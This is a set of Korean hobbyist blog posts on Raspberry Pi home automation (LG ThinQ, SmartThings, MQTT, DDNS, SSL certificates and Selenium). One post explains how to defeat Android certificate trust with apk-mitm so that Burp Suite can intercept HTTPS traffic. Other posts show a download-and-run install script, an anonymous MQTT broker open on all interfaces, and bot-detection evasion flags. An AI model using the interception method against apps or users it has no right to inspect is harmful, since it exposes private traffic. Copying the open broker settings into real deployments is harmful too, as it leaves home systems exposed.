사이트에서 발급 받습니다.\n토큰 발급 : https://connect-pat.lgthinq.com/tokens\nMQTT 서버 설정 라즈베리파이에 MQTT Broker와 파이썬용 MQTT 모듈을 설치합니다.\n1 2 (.test) pi@raspberrypi:~ $ sudo apt install mosquitto mosquitto-clients python3 python3-pip (.test) pi@raspberrypi:~ $ pip install paho-mqtt 그리고 정상적으로 동작하는지 확인합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pi@raspberrypi:~ $ sudo systemctl enable mosquitto Synchronizing state of mosquitto.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable mosquitto pi@raspberrypi:~ $ sudo systemctl status mosquitto ● mosquitto.service - Mosquitto MQTT Broker Loaded: loaded (/lib/systemd/system/mosquitto.service; enabled; vendor preset: enabled) Active: active (running) since Wed 2023-01-25 10:19:30 GMT; 23s ago Docs: man:mosquitto.conf(5) man:mosquitto(8) Main PID: 1688 (mosquitto) Tasks: 1 (limit: 779) CPU: 78ms CGroup: /system.slice/mosquitto.service └─1688 /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf Jan 25 10:19:30 raspberrypi systemd[1]: Starting Mosquitto MQTT Broker... Jan 25 10:19:30 raspberrypi systemd[1]: Started Mosquitto MQTT Broker. pi@raspberrypi:~ $ 그리고 Mosquitto 설정 파일(/etc/mosquitto/mosquitto.conf)에 아래 내용을 추가합니다.\n1 2 allow_anonymous true bind_address 0.0.0.0 Smartthings용 MQTT 기기 추가 스마트싱스에서 활용 가능한 MQTT 장치 드라이버가 있습니다. 해당 드라이버를 활용하면 스위치를 생성해 앞서 설정한 MQTT서버와 연동하여 상태를 반영할 수 있습니다.\nMQTTDevices : https://github.com/toddaustin07/MQTTDevices Smartthings Edge Driver : https://bestow-regional.api.smartthings.com/invite/Q1jP7BqnNNlL\n위 드라이버를 설치하고 나면 'MQTT Device Creator'가 생성되는데 아래와 같이 앞서 설정한 MQTT 서버 IP를 입력합시다.\n그리고 MQTT 가상 스위치를 생성할 수 있는데 토픽은 \u0026quot;lg-styler\u0026quot;로 명명하고 스위치의 ON / OFF 값을 on / off로 설정해주었습니다.\n코드 작성 및 자동화 구성 이제 thinqconnect를 통해 LG 장치 정보를 받아와서 MQTT로 보내주는 코드를 작성해봅시다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import asyncio from datetime import datetime from aiohttp import ClientSession from thinqconnect.thinq_api import ThinQApi import paho.mqtt.client as mqtt broker_address = \u0026#39;localhost\u0026#39; broker_port = 1883 client_id = \u0026#39;str(uuid.uuid4())로 생성\u0026#39; async def checkDevice(client_id): POWER_ON_Check = False async with ClientSession() as session: try: thinq_api = await ThinQApi(session = session, access_token = \u0026#39;토큰\u0026#39;, country_code = \u0026#39;KR\u0026#39;, client_id = client_id) # 디바이스 목록을 받아 옴 response = await thinq_api.async_get_device_list() devices_list = response print(devices_list) if devices_list != None: try: print(\u0026#39;[+] 스타일러\u0026#39;) response = await thinq_api.async_get_device_status(devices_list[0][\u0026#39;deviceId\u0026#39;]) if response != None: #print(response[\u0026#39;runState\u0026#39;][\u0026#39;currentState\u0026#39;]) if response[\u0026#39;runState\u0026#39;][\u0026#39;currentState\u0026#39;] == \u0026#39;POWER_OFF\u0026#39;: client.publish(\u0026#39;lg-styler\u0026#39;, \u0026#39;off\u0026#39;) elif response[\u0026#39;runState\u0026#39;][\u0026#39;currentState\u0026#39;] == \u0026#39;COMPLETE\u0026#39;: client.publish(\u0026#39;lg-styler\u0026#39;, \u0026#39;off\u0026#39;) else: client.publish(\u0026#39;lg-styler\u0026#39;, \u0026#39;on\u0026#39;) POWER_ON_Check = True else: client.publish(\u0026#39;lg-styler\u0026#39;, \u0026#39;off\u0026#39;) except Exception as e: print(datetime.now().strftime(\u0026#39;[%Y-%m-%d-%a %H:%M:%S] \u0026#39;) + f\u0026#34;Error while checking device {devices_list[0][\u0026#39;deviceId\u0026#39;]}: {e}\u0026#34;) try: print(\u0026#39;[+] 세탁기\u0026#39;) response = await thinq_api.async_get_device_status(devices_list[1][\u0026#39;deviceId\u0026#39;]) if response != None: #print(response[0][\u0026#39;runState\u0026#39;][\u0026#39;currentState\u0026#39;]) if response[0][\u0026#39;runState\u0026#39;][\u0026#39;currentState\u0026#39;] == \u0026#39;POWER_OFF\u0026#39;: client.publish(\u0026#39;lg-washer\u0026#39;, \u0026#39;off\u0026#39;) elif response[0][\u0026#39;runState\u0026#39;][\u0026#39;currentState\u0026#39;] == \u0026#39;END\u0026#39;: client.publish(\u0026#39;lg-washer\u0026#39;, \u0026#39;off\u0026#39;) else: client.publish(\u0026#39;lg-washer\u0026#39;, \u0026#39;on\u0026#39;) POWER_ON_Check = True else: client.publish(\u0026#39;lg-washer\u0026#39;, \u0026#39;off\u0026#39;) except Exception as e: print(datetime.now().strftime(\u0026#39;[%Y-%m-%d-%a %H:%M:%S] \u0026#39;) + f\u0026#34;Error while checking device {devices_list[1][\u0026#39;deviceId\u0026#39;]}: {e}\u0026#34;) else: print(datetime.now().strftime(\u0026#39;[%Y-%m-%d-%a %H:%M:%S] \u0026#39;) + \u0026#39;[-] Device list is NULL.\u0026#39;) return POWER_ON_Check except Exception as e: print(datetime.now().strftime(\u0026#39;[%Y-%m-%d-%a %H:%M:%S] \u0026#39;) + \u0026#39;[-] Exception : checkDevice()\u0026#39;) print(e) await asyncio.sleep(600) async def main(): while True: POWER_ON_Check = await checkDevice(client_id) if POWER_ON_Check: await asyncio.sleep(30) else: await asyncio.sleep(600) client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2, \u0026#39;lg\u0026#39;) print(\u0026#39;[+] Connect to broker\u0026#39;) client.connect(host=broker_address, port=broker_port) client.loop_start() # main 함수를 호출하여 asyncio 이벤트 루프를 관리 try: asyncio.run(main()) except KeyboardInterrupt: client.loop_stop() client.disconnect() 참고로 스타일러 상태값은 아래 페이지에서 확인하실 수 있습니다. https://thinq.developer.lge.com/ko/cloud/docs/thinq-connect/device-profile/styler/\n그리고 crontab에 아래와 같이 추가하여 자동 실행에 추가합니다.\n@reboot sleep 10; /home/pi/.test/bin/python /home/pi/MQTT/lg-sync.py \u0026gt;\u0026gt; /home/pi/MQTT/lg-sync.log 2\u0026gt;\u0026amp;1 마지막으로 자동화를 추가 합니다. 저의 경우 스타일러 작동이 끝나면 스피커에서 안내 멘트가 나오도록 설정하였습니다.\nthniqconnect 에러 관련 thniqconnect 모듈은 주기적으로 업데이트 중에 있으며 코드 또한 변경중에 있습니다. 제가 겪었던 에러는 아래와 같이 해결했으니 참고하시기 바랍니다.\nImportError: cannot import name 'StrEnum' from 'enum' 1 2 3 File \u0026#34;/home/pi/.venv/lib/python3.9/site-packages/thinqconnect/devices/const.py\u0026#34;, line 1, in \u0026lt;module\u0026gt; from enum import StrEnum, auto ImportError: cannot import name \u0026#39;StrEnum\u0026#39; from \u0026#39;enum\u0026#39; (/usr/lib/python3.9/enum.py) Python 3.11 버전 이하면 아래와 같이 strenum 모듈을 설치하고 코드를 수정해주면 됩니다.\n1 2 3 4 5 6 pi@raspberrypi:~/MQTT $ pip install strenum Looking in indexes: https://pypi.org/simple, https://www.piwheels.org/simple Collecting strenum Using cached https://www.piwheels.org/simple/strenum/StrEnum-0.4.15-py3-none-any.whl (8.9 kB) Installing collected packages: strenum Successfully installed strenum-0.4.15 1 2 3 4 # /home/pi/.venv/lib/python3.9/site-packages/thinqconnect/devices/const.py -from enum import StrEnum, auto +from enum import auto +from strenum import StrEnum 참고 : https://stackoverflow.com/questions/75040733/is-there-a-way-to-use-strenum-in-earlier-python-versions\nTypeError: unsupported operand type(s) 1 2 3 File \u0026#34;/home/pi/.venv/lib/python3.9/site-packages/thinqconnect/devices/washcombo.py\u0026#34;, line 25, in WashcomboDevice async def set_washer_operation_mode(self, operation: str) -\u0026gt; dict | None: TypeError: unsupported operand type(s) for |: \u0026#39;type\u0026#39; and \u0026#39;NoneType\u0026#39; 1 2 3 4 # /home/pi/.venv/lib/python3.9/site-packages/thinqconnect/devices/washcombo.py +import typing -async def set_washer_operation_mode(self, operation: str) -\u0026gt; dict | None: +async def set_washer_operation_mode(self, operation: str) -\u0026gt; typing.Union[dict, None]: 참고 : https://stackoverflow.com/questions/69440494/python-3-10-optionaltype-or-type-none\n참고 thinqconnect 모듈 관련 네이버 카페 소개글 https://cafe.naver.com/stsmarthome/90711 https://cafe.naver.com/stsmarthome/90747 https://cafe.naver.com/stsmarthome/90783\n","date":"2024-08-18T00:41:00+09:00","permalink":"/2024/08/18/thinqconnect-%EB%AA%A8%EB%93%88%EC%9D%84-%ED%99%9C%EC%9A%A9%ED%95%9C-lg%EA%B8%B0%EA%B8%B0-smartthings-%EC%97%B0%EB%8F%99%ED%95%98%EA%B8%B0/","title":"thinqconnect 모듈을 활용한 LG기기 Smartthings 연동하기"},{"content":"일반적으로 HTTPS 패킷은 Burp Suite 인증서를 설치해 MITM 공격을 통해 확인할 수 있다.\n하지만 안드로이드 7.0부터는 사용자 인증서를 신뢰하지 않도록 하는 옵션(SSL-Pinning)이 디폴트로 설정되어 있다.\n참조 : https://developer.android.com/privacy-and-security/security-config?hl=ko#CustomTrust 따라서 안드로이드 apk 파일을 아래와 같이 조작해줄 필요가 있다.\n1 APK 언패키징 -\u0026gt; 인증서 관련 설정 변경 -\u0026gt; APK 리패키징 -\u0026gt; APK 서명 이러한 과정을 차근차근 할수도 있겠지만 이를 쉽게해주는 툴로 'apk-mitm'이 있는데 아래 링크에서 설치가 가능하다.\nAPK-MITM : https://github.com/shroudedcode/apk-mitm 참고로 APK-MITM은 npm으로 설치가 가능하며 nodejs는 NVM(Node Version Manager)을 통해 설치하자.\nNVM : https://github.com/nvm-sh/nvm 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 jjoon@J:~$ apk-mitm 2.apk ╭ apk-mitm v1.2.1 ├ apktool v2.6.1 ╰ uber-apk-signer v1.2.1 Using temporary directory: /tmp/apk-mitm-3e5a10bcc3fec2831f230a22b8c4ad68 ✔ Checking prerequisities ✔ Decoding APK file ✔ Applying patches ✔ Encoding patched APK file ✔ Signing patched APK file Done! Patched file: ./2-patched.apk jjoon@J:~$ ","date":"2024-03-13T02:29:45+09:00","permalink":"/2024/03/13/%EC%95%88%EB%93%9C%EB%A1%9C%EC%9D%B4%EB%93%9C-%EC%95%B1-https-%ED%8C%A8%ED%82%B7-%EB%B6%84%EC%84%9D/","title":"안드로이드 앱 HTTPS 패킷 분석"},{"content":"웹 크롤링 시 Selenium과 requests에서 상호 쿠키를 사용할 필요가 있다. 아래 코드로 셀레니움으로 로그인 및 쿠키를 저장하고 활용해보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from selenium import webdriver from selenium.webdriver.chrome.service import Service from selenium.webdriver.chrome.options import Options from webdriver_manager.chrome import ChromeDriverManager import requests import time import pickle def open_Driver(): options = Options() options.add_argument(\u0026#39;user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\u0026#39;) options.add_argument(\u0026#39;lang=ko_KR\u0026#39;) options.add_argument(\u0026#39;--window-size=430,932\u0026#39;) options.add_argument(\u0026#39;--disable-gpu\u0026#39;) options.add_argument(\u0026#39;--disable-infobars\u0026#39;) options.add_argument(\u0026#39;--disable-extensions\u0026#39;) options.add_argument(\u0026#39;--disable-blink-features=AutomationControlled\u0026#39;) options.add_argument(\u0026#39;--disable-automation\u0026#39;) service = Service(executable_path=ChromeDriverManager().install()) driver = webdriver.Chrome(service=service, options=options) return driver # 쿠키 저장 함수 def save_cookie(driver): url = \u0026#39;https://m.naver.com/\u0026#39; driver.get(url) # 30초 이내 로그인 time.sleep(30) pickle.dump(driver.get_cookies(), open(\u0026#39;naver_cookies.pkl\u0026#39;, \u0026#39;wb\u0026#39;)) driver.quit() # 셀레니움에서 쿠키 정상 동작 확인 def check_login_selenium(driver): url = \u0026#39;https://m.naver.com\u0026#39; driver.get(url) cookies = pickle.load(open(\u0026#39;naver_cookies.pkl\u0026#39;, \u0026#39;rb\u0026#39;)) for cookie in cookies: driver.add_cookie(cookie) driver.get(url) time.sleep(30) driver.quit() # request에서 쿠키 정상 동작 확인 def check_login_request(): url = \u0026#39;https://m.naver.com\u0026#39; header = { \u0026#39;User-Agent\u0026#39; : \u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\u0026#39; } cookies = pickle.load(open(\u0026#39;naver_cookies.pkl\u0026#39;, \u0026#39;rb\u0026#39;)) s = requests.Session() s.headers.update(header) for cookie in cookies: c = {cookie[\u0026#39;name\u0026#39;] : cookie[\u0026#39;value\u0026#39;]} s.cookies.update(c) response = s.request(\u0026#39;GET\u0026#39;, url) if response.text.find(\u0026#39;MM_PROFILE_IMAGE\u0026#39;) != -1: print(\u0026#39;Login success!\u0026#39;) def main(): # 1. 최초 한번만 실행, 이후 주석 처리 driver = open_Driver() save_cookie(driver) # 2. 쿠키로 셀레니움 로그인 여부 확인 #driver = open_Driver() #check_login_selenium(driver) # 3. 쿠키로 request로 로그인 여부 확인 #check_login_request() if __name__ == \u0026#39;__main__\u0026#39;: main() 참고 링크 https://sir.kr/pg_tip/17077 https://m.blog.naver.com/draco6/221664143794\n","date":"2024-03-10T23:36:17+09:00","permalink":"/2024/03/10/selenium-requests%EA%B0%84-%EC%BF%A0%ED%82%A4-%EC%82%AC%EC%9A%A9%ED%95%98%EA%B8%B0/","title":"Selenium \u003c-\u003e Requests간 쿠키 사용하기"},{"content":"크롬드라이버 설치 1 pi@raspberrypi:~ $ sudo apt-get install chromium-chromedriver 가상환경 생성 1 2 pi@raspberrypi:~ $ python -m venv .venv pi@raspberrypi:~ $ source .venv/bin/activate 셀레니움, BeautifulSoup4 설치 1 2 3 (.venv) pi@raspberrypi:~ $ pip install --upgrade pip (.venv) pi@raspberrypi:~ $ pip install selenium (.venv) pi@raspberrypi:~ $ pip install bs4 이제 아래 코드를 실행해서 'Google' 이라고 나오는지 확인한다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from selenium import webdriver from selenium.webdriver.chrome.service import Service from selenium.webdriver.chrome.options import Options from webdriver_manager.chrome import ChromeDriverManager url = \u0026#39;https://www.google.com\u0026#39; options = Options() options.add_argument(\u0026#39;--headless=new\u0026#39;) options.add_argument(\u0026#39;user-agent=Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/117.0.0.0 Mobile Safari/537.36\u0026#39;) options.add_argument(\u0026#39;lang=ko_KR\u0026#39;) options.add_argument(\u0026#39;--incognito\u0026#39;) options.add_argument(\u0026#39;--start-maximized\u0026#39;) options.add_argument(\u0026#39;--window-size=430,932\u0026#39;) options.add_argument(\u0026#39;--disable-gpu\u0026#39;) options.add_argument(\u0026#39;--disable-infobars\u0026#39;) options.add_argument(\u0026#39;--disable-extensions\u0026#39;) options.add_argument(\u0026#39;--disable-blink-features=AutomationControlled\u0026#39;) options.add_argument(\u0026#39;--disable-automation\u0026#39;) options.add_argument(\u0026#39;--no-sandbox\u0026#39;) # 라즈베리파이 aarch64 환경에서는 아래 코드가 정상 동작하지 않음 #service = Service(executable_path=ChromeDriverManager().install()) service = Service(\u0026#39;/usr/bin/chromedriver\u0026#39;) driver = webdriver.Chrome(service=service, options=options) driver.get(url) print(driver.title) ","date":"2024-03-04T00:33:34+09:00","permalink":"/2024/03/04/%EB%9D%BC%EC%A6%88%EB%B2%A0%EB%A6%AC%ED%8C%8C%EC%9D%B4%EC%97%90%EC%84%9C-%ED%81%AC%EB%A1%A4%EB%A7%81%EC%9D%84-%EC%9C%84%ED%95%9C-%EC%85%80%EB%A0%88%EB%8B%88%EC%9B%80selenium-%EC%85%8B/","title":"라즈베리파이에서 크롤링을 위한 셀레니움(Selenium) 설정"},{"content":"그동안 클라우드플레어를 통해 'Flexible SSL'을 쓰고 있었는데 이번 기회에 Let's Encrypt 인증서 설치를 시도해 해보았습니다.\n카페24에서 외부인증서를 등록해주는 기능이 있어 가능할 것으로 보였습니다.\n먼저 윈도우용 Let's Encrypt 프로그램 'win-acme'을 다운로드 합니다.\nhttps://www.win-acme.com/\n그리고 프로그램 실행후 아래와 같이 순차적으로 진행합니다.\n인증서 생성 1 2 3 4 5 6 7 8 N: Create certificate (default settings) M: Create certificate (full options) R: Run renewals (0 currently due) A: Manage renewals (1 total) O: More options... Q: Quit Please choose from the menu: m 수동 입력 1 2 3 4 5 6 1: Read bindings from IIS 2: Manual input 3: CSR created by another program C: Abort How shall we determine the domain(s) to include in the certificate?: 2 도메인 입력 1 Host: jjoon.net,www.jjoon.net 도메인에 대한 별칭 설정 1 2 3 Friendly name \u0026#39;[Manual] jjoon.net\u0026#39;. \u0026lt;Enter\u0026gt; to accept or type desired name: * 그냥 빈칸으로 엔터 도메인별 인증서 분리여부 선택 : 단일 인증서 선택 1 2 3 4 5 6 7 1: Separate certificate for each domain (e.g. *.example.com) 2: Separate certificate for each host (e.g. sub.example.com) 3: Separate certificate for each IIS site 4: Single certificate C: Abort Would you like to split this source into multiple certificates?: 4 인증방식 선택 : FTP로 선택 1 2 3 4 5 6 7 8 9 10 11 12 1: [http] Save verification files on (network) path 2: [http] Serve verification files from memory 3: [http] Upload verification files via FTP(S) 4: [http] Upload verification files via SSH-FTP 5: [http] Upload verification files via WebDav 6: [dns] Create verification records manually (auto-renew not possible) 7: [dns] Create verification records with acme-dns (https://github.com/joohoi/acme-dns) 8: [dns] Create verification records with your own script 9: [tls-alpn] Answer TLS verification request from win-acme C: Abort How would you like prove ownership for the domain(s)?: 3 FTP 경로 입력 1 2 3 4 Description: Example, ftp://domain.com:21/site/wwwroot/ Example, ftps://domain.com:990/site/wwwroot/ FTP path: ftp://아이디.cafe24.com:21/www/ 유효성 검사 파일 복사 여부 1 2 3 4 5 Description: Copy default web.config to the .well-known directory. Default: False Argument: False (press \u0026lt;Enter\u0026gt; to use this) Copy default web.config before validation? (y/n*) - no FTP 아이디 및 패스워드 입력 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Description: Username for remote server FTP(S) server username: 아이디 Description: Password for remote server 1: None 2: Type/paste in console 3: Search in vault Choose from the menu: 2 FTP(S) serverpassword: 패스워드 Save to vault for future reuse? (y/n*) - no 인증서 속성 선택 : 카페24는 RSA만 사용 가능 1 2 3 4 5 1: Elliptic Curve key 2: RSA key C: Abort What kind of private key should be used for the certificate?: 2 웹서비스 종류 선택 : 카페24는 Apache임 1 2 3 4 5 6 7 1: IIS Central Certificate Store (.pfx per host) 2: PEM encoded files (Apache, nginx, etc.) 3: PFX archive 4: Windows Certificate Store (Local Computer) 5: No (additional) store steps How would you like to store the certificate?: 2 인증서 저장위치 지정 및 암호 설정 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 Description: .pem files are exported to this folder. File path: . Description: Password to set for the private key .pem file. 1: None 2: Type/paste in console 3: Search in vault Choose from the menu: 2 PemPassword: 패스워드 Save to vault for future reuse? (y/n*) - no 1: IIS Central Certificate Store (.pfx per host) 2: PEM encoded files (Apache, nginx, etc.) 3: PFX archive 4: Windows Certificate Store (Local Computer) 5: No (additional) store steps Would you like to store it in another way too?: 5 Installation plugin IIS not available: Run as administrator to allow access to IIS. With the certificate saved to the store(s) of your choice, you may choose one or more steps to update your applications, e.g. to configure the new thumbprint, or to update bindings. 1: Create or update bindings in IIS 2: Start external script or program 3: No (additional) installation steps Which installation step should run first?: 3 이제 카페24 '외부인증서 관리' 메뉴로 가서 각 항목을 입력하시면 됩니다.\nwin-acme 폴더에 가면 인증서 파일이 생성되어 있을것이고 해당 인증서를 메모장으로 열어서 입력하면 됩니다.\n1 2 3 인증서(SSL CRT) : 도메인명-crt.pem 파일 내용 개인키(Private Key) : 도메인명-key.pem 파일 내용 비밀번호(Passphrase) : 위 지정한 인증서 암호 이후 조금만 기다리면 '외부 SSL 인증서 정보' 항목에 '연결 PORT(숫자)'로 표시되면 연결이 완료된 것입니다.\n","date":"2024-02-03T23:52:09+09:00","permalink":"/2024/02/03/lets-encrypt-%EC%9D%B8%EC%A6%9D%EC%84%9C-%EC%B9%B4%ED%8E%9824%EC%97%90-%EB%93%B1%EB%A1%9D%ED%95%98%EA%B8%B0/","title":"Let's Encrypt 인증서 카페24에 등록하기"},{"content":"블로그를 Cafe24 웹호스팅에서 Amazon lightsail로 이전했습니다. 이전하며 아래 부분이 놀라웠고 공부하는셈 치고 좀 더 써봐야겠습니다.\n클릭 몇번으로 워드프레스 설치가 그냥 되는구나? 月 $3.5면 커피 한잔 값인데? (月 $5 짜리로 해야 워드프레스가 무리 없이 돌아가더라...) 간단한 명령어로 SSL 설정(Let's Encrypt), 게다가 주기적으로 인증서 갱신까지 자동으로? ","date":"2023-07-16T02:04:59+09:00","permalink":"/2023/07/16/amazon-lightsail-%EC%9D%B4%EC%A0%84/","title":"Amazon Lightsail로 이전"},{"content":"개요 집에서 사용하는 라즈베리파이의 특정 포트를 외부 도메인과 연결을 하여 SSL로 서비스 할 필요가 있었다. 이에 SSL 서비스를 위해 클라우드플레어랑 연동을 했고 우리집 IP는 유동적으로 변하기에 DDNS도 설정할 필요가 있어 그 과정을 작성해본다.\nDDclient 설치 DDclient는 아래 URL에서 다운로드 받을 수 있다. https://github.com/ddclient/ddclient\n하지만 나는 아래와 같이 패키지 설치로 설치하였다.\n1 $ apt-get install ddclinet DDclient 설정 설정 파일은 /etc/ddclient.conf에 위치해 있고 파일 내용은 다음과 같다.\n1 2 3 4 5 6 7 8 9 10 11 # Configuration file for ddclient generated by debconf # # /etc/ddclient.conf ssl=yes daemon=300 use=web protocol=cloudflare login=your-login-email # Only needed if you are using your global API key. If you are using an API token, set it to \u0026#34;token\u0026#34; (without double quotes). password=APIKey # This is either your global API key, or an API token. If you are using an API token, it must have the permissions \u0026#34;Zone - DNS - Edit\u0026#34; and \u0026#34;Zone - Zone - Read\u0026#34;. The Zone resources must be \u0026#34;Include - All zones\u0026#34;. zone=도메인주소(예시:jjoon.net) 연결할 서브도메인 주소(예시:test.jjoon.net) 공유기 포트포워딩 설정 라즈베리파이의 특정 포트를 80번 포트로 포트포워딩을 하도록 설정한다.\n정상동작 확인 DDclient는 아래와 같이 서비스로 돌아가는 것을 확인할 수 있으며 300초마다 IP를 갱신할것이다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pi@raspberrypi:/etc $ sudo systemctl status ddclient.service ● ddclient.service - Update dynamic domain name service entries Loaded: loaded (/lib/systemd/system/ddclient.service; enabled; vendor preset: enabled) Active: active (running) since Fri 2023-02-03 00:14:28 KST; 20min ago Docs: man:ddclient(8) Process: 28053 ExecStart=/usr/sbin/ddclient -daemon $daemon_interval -syslog -pid /run/ddclient.pid (code=exited, status=0/SUCCESS) Main PID: 28054 (ddclient - slee) Tasks: 1 (limit: 779) CPU: 1.251s CGroup: /system.slice/ddclient.service └─28054 ddclient - sleeping for 280 seconds Feb 03 00:14:27 raspberrypi systemd[1]: Starting Update dynamic domain name service entries... Feb 03 00:14:28 raspberrypi systemd[1]: Started Update dynamic domain name service entries. Feb 03 00:29:34 raspberrypi ddclient[28422]: SUCCESS: ****.jjoon.net -- Updated Successfully to ***.***.***.*** pi@raspberrypi:/etc $ 클라우드플레어 DNS 메뉴에서 서브 도메인이 현재 IP를 제대로 반영되고 있는지 확인하면 끝.\n","date":"2023-02-03T00:13:24+09:00","permalink":"/2023/02/03/ddclient%EB%A5%BC-%ED%86%B5%ED%95%B4-cloudflare%EC%97%90-ddns-%EC%84%A4%EC%A0%95%ED%95%98%EA%B8%B0/","title":"DDclient를 통해 Cloudflare에 DDNS 설정하기"},{"content":"개요 LG 가전 기기를 Smartthings에서 컨트롤 하고자 라즈베리파이에 ST-Connector를 설치하여 보았습니다.\n라즈베리파이에 Docker 설치 이제 SSH를 통해 원격으로 접근이 가능하다면 Docker를 설치해봅시다. 아래 명령어를 통해 Docker 설치 스크립트를 받습니다.\n1 2 wget get.docker.com -O get-docker.sh sudo bash get-docker.sh 도커가 잘 실행되고 있는지 확인해 봅시다.\n1 2 3 $ ps -aux | grep docker root 1565 31.4 8.7 1007824 83356 ? Ssl 02:58 4:25 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock pi 3854 0.0 0.0 7348 424 pts/0 S+ 03:12 0:00 grep --color=auto docker ST-Connector 설치 ST-Connector 도커 이미지를 다운로드 받아 실행을 합니다. 다운로드 받기 전에 아래 주소에서 최신 버전 값을 확인합시다. 제가 글을 작성하는 시점에서의 최신 버전은 0.0.2 였습니다.\nhttps://hub.docker.com/r/fison67/st-connector/tags\n1 2 3 4 5 $ sudo mkdir /docker $ sudo mkdir /docker/st-connector $ sudo chown -R pi:pi /docker $ sudo docker pull fison67/st-connector:0.0.2 $ sudo docker run -d --restart=always -v /docker/st-connector:/config --name=st-connector --net=host -e TZ=Asia/Seoul fison67/st-connector:0.0.2 이제 도커가 잘 실행되고 있는지 확인해 봅시다.\n1 2 3 pi@raspberrypi:~ $ sudo docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 5afa36501bbe fison67/st-connector:0.0.2 \u0026#34;/bin/sh -c \u0026#39;npm sta…\u0026#34; 16 seconds ago Up 11 seconds st-connector Edge 드라이버 설치 https://bestow-regional.api.smartthings.com/invite/oDM8QZw30x2L\nST-Connector 설정 설치가 완료되었으면 http://라즈베리파이주소:4000 으로 접속해봅시다. 초기 ID / PW는 admin / 12345 입니다.\n웹 접속 후 메뉴 Setting -\u0026gt; 실행될 Connector 항목 체크 후 OK 버튼 클릭 후 도커 재시작 합니다.\n1 2 3 4 5 6 7 8 pi@raspberrypi:~ $ sudo docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 5afa36501bbe fison67/st-connector:0.0.2 \u0026#34;/bin/sh -c \u0026#39;npm sta…\u0026#34; 16 seconds ago Up 11 seconds st-connector 54cde4f0414b jsurf/rpi-mariadb \u0026#34;docker-entrypoint.s…\u0026#34; 6 days ago Up 3 hours 0.0.0.0:33006-\u0026gt;3306/tcp, :::33006-\u0026gt;3306/tcp mariadb 2f8fb108763a fison67/mi-connector:latest \u0026#34;/bin/sh -c \u0026#39;npm sta…\u0026#34; 6 days ago Up 3 hours mi-connector pi@raspberrypi:~ $ sudo docker restart 5afa36501bbe 5afa36501bbe pi@raspberrypi:~ $ 이후 다시 재접속하여 Connector -\u0026gt; LG 메뉴에서 V1, V2 토큰을 등록합니다.\n이제 스마트싱스 앱에서 찾기를 누르고 허브 선택하여 장치 자동 등록을 합니다.\n","date":"2023-01-28T19:59:03+09:00","permalink":"/2023/01/28/edge%EC%9A%A9-mi-connector-%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0/","title":"ST-Connector(Edge용 LG-Connector) 설치하기"},{"content":"개요 Smartthings는 2022년 10월 16일 16시(KST)부터 Groovy로 작성된 DTH와 스마트앱 지원이 종료된다고 공지되었다. 이에 현재 사용중인 다수 기기들과 스마트앱을 Edge Driver로 전환할 필요가 생겼다. 그 중 구글캘린더와 연동해서 부엉이님이 만드신 스마트앱을 대체해보았다.\nMy Day-off : https://blog.weekendproject.net/243\n준비물 라즈베리파이, NAS 등 개인 서버\nMQTT Broker 설치 먼저 MQTT Broker와 파이썬용 MQTT 모듈을 설치한다.\n1 2 $ sudo apt install mosquitto mosquitto-clients python3 python3-pip $ pip3 install paho-mqtt 그리고 정상적으로 동작하는지 확인한다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pi@raspberrypi:~ $ sudo systemctl enable mosquitto Synchronizing state of mosquitto.service with SysV service script with /lib/systemd/systemd-sysv-install. Executing: /lib/systemd/systemd-sysv-install enable mosquitto pi@raspberrypi:~ $ sudo systemctl status mosquitto ● mosquitto.service - Mosquitto MQTT Broker Loaded: loaded (/lib/systemd/system/mosquitto.service; enabled; vendor preset: enabled) Active: active (running) since Wed 2023-01-25 10:19:30 GMT; 23s ago Docs: man:mosquitto.conf(5) man:mosquitto(8) Main PID: 1688 (mosquitto) Tasks: 1 (limit: 779) CPU: 78ms CGroup: /system.slice/mosquitto.service └─1688 /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf Jan 25 10:19:30 raspberrypi systemd[1]: Starting Mosquitto MQTT Broker... Jan 25 10:19:30 raspberrypi systemd[1]: Started Mosquitto MQTT Broker. pi@raspberrypi:~ $ 그리고 Mosquitto 설정 파일(/etc/mosquitto/mosquitto.conf)에 아래 내용을 추가한다.\n1 2 allow_anonymous true bind_address 0.0.0.0 MQTTDevices MQTTDevices : https://github.com/toddaustin07/MQTTDevices Smartthings Edge Driver : https://bestow-regional.api.smartthings.com/invite/Q1jP7BqnNNlL\nMQTTDevices Edge 드라이버로 MQTT 가상 스위치를 생성할 수 있으며 공휴일 여부를 체크해 스위치를 On/Off 